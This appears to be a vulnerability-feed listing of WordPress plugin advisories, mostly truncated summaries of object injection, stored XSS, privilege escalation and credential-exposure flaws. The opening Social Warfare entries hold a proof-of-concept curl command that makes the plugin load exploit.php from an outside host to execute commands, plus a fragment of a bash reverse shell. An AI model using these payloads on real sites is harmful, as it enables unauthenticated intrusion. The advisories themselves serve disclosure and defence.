CVE-2019-9978

CVE-2019-9978 - Social Warfare Wordpress plugin RCE RCE on a Social Warfare Wordpress plugin without any prior authentication Proof Of Concept curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Vulnerable code : Fix:...

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

CVE-2019-9978 - Social Warfare WordPress Plugin RCE This repository contains a working Python exploit for CVE-2019-9978, a remote code execution vulnerability in the Social Warfare plugin for WordPress version system"bash -c \"bash -i & /...

CVE-2026-115806

The Prime Mover – Backup and Migration plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.2.1 via deserialization of untrusted input in the migration search-and-replace routine recursiveUnserializeReplace. An unauthenticated attacker can store a...

EUVD-2026-109213

The Prime Mover – Backup and Migration plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.2.1 via deserialization of untrusted input in the migration search-and-replace routine recursiveUnserializeReplace. An unauthenticated attacker can store a...

PT-2026-122495

Name of the Vulnerable Software and Affected Versions Prime Mover versions prior to 2.2.2 Description An unauthenticated attacker can perform PHP Object Injection by submitting a crafted, base64-encoded serialized object through the standard comment-submission endpoint 'wp-comments-post.php', whi...

CVE-2026-107757

The Gallery Custom Links plugin for WordPress (versions up to and including 2.3.3 ) is vulnerable to Stored Cross-Site Scripting (XSS) . The flaw is caused by insufficient input sanitization and output escaping involving the display_name (from profile.php) and comment (from wp-comments-post.php) ...

EUVD-2026-100914

The Gallery Custom Links plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'displayname profile.php + comment wp-comments-post.php' parameter in all versions up to, and including, 2.3.3 due to insufficient input sanitization and output escaping. This makes it possible for...

CVE-2026-107757 Gallery Custom Links <= 2.3.3 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Comment Author Display Name + Comment HTML Comment Body

The Gallery Custom Links plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'displayname profile.php + comment wp-comments-post.php' parameter in all versions up to, and including, 2.3.3 due to insufficient input sanitization and output escaping. This makes it possible for...

PT-2026-113720

The Gallery Custom Links plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'display name profile.php + comment wp-comments-post.php' parameter in all versions up to, and including, 2.3.3 due to insufficient input sanitization and output escaping. This makes it possible for...

WordPress Gallery Custom Links: Cross-site Scripting Vulnerabilities

WordPress Gallery Custom Links versions 2.3.3 and earlier have a cross-site scripting vulnerability. This vulnerability stems from insufficient input cleaning and output escaping for the displayname profile.php and comment wp-comments-post.php parameters. Certified attackers with subscription and...

VulnCheck KEV: CVE-2026-6228

The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to Privilege Escalation in versions up to and including 3.28.36. This is due to insufficient authorization checks in the role field update mechanism combined with overly permissive capabilities for the adminform post type. The...

Exploit for CVE-2026-14378

CVE-2026-14378: Unauthenticated Authentication Bypass in WordP...

CVE-2026-89064: Insufficiently Protected Credentials

The All-in-One WP Migration and Backup plugin for WordPress is vulnerable to Insufficient Credential Protection in versions up to, and including, 7.110. This is due to the Ai1wmMainController::init method — registered on the admininit hook, which fires unauthenticated on admin-ajax.php and...

PT-2026-94137

Name of the Vulnerable Software and Affected Versions All-in-One WP Migration and Backup versions prior to 7.111 Description The plugin contains an issue related to insufficient credential protection. The Ai1wm Main Controller::init function, which is registered on the admin init hook and execute...

PT-2026-94157

Name of the Vulnerable Software and Affected Versions Paid Downloads versions prior to 3.16 Description The Paid Downloads plugin for WordPress allows unauthenticated arbitrary file upload through the admin request handler function. This occurs because the function lacks proper authorization and...

PT-2026-68033

Name of the Vulnerable Software and Affected Versions WPFormify – Stripe Payments with Form and Checkout versions prior to 1.1.2 Description Unauthenticated attackers can modify or delete Stripe payment credentials. This occurs because the wpf stripe callback success and wpf stripe disconnect...

CVE-2026-6627: Missing Authorization

The WPFormify – Stripe Payments with Form and Checkout plugin for WordPress is vulnerable to unauthorized modification and deletion of Stripe payment credentials in all versions up to, and including, 1.1.1. This is due to missing capability checks and nonce verification on the...

PT-2026-67196

Name of the Vulnerable Software and Affected Versions Jeg Kit for Elementor versions prior to 3.1.2 Description The plugin exposes sensitive information through the enqueue scripts function in class/dashboard/class-dashboard.php. It injects a JkitDashboardOption JavaScript object as an inline...

CVE-2026-2916: Exposure of Sensitive Information to an Unauthorized Actor

The Jeg Kit for Elementor plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.1.1 via the enqueuescripts method in class/dashboard/class-dashboard.php. The plugin injects a JkitDashboardOption JavaScript object containing full plugin...

WordPress Plugin Flexible Custom Post Type < 0.1.7 - Cross-Site Scripting Detection

A cross-site scripting vulnerability in edit-post.php in the Flexible Custom Post Type plugin before 0.1.7 for WordPress allows remote attackers to inject arbitrary web script or HTML via the id parameter. !/usr/bin/env python3 -- coding: utf-8 -- """A cross-site scripting vulnerability in...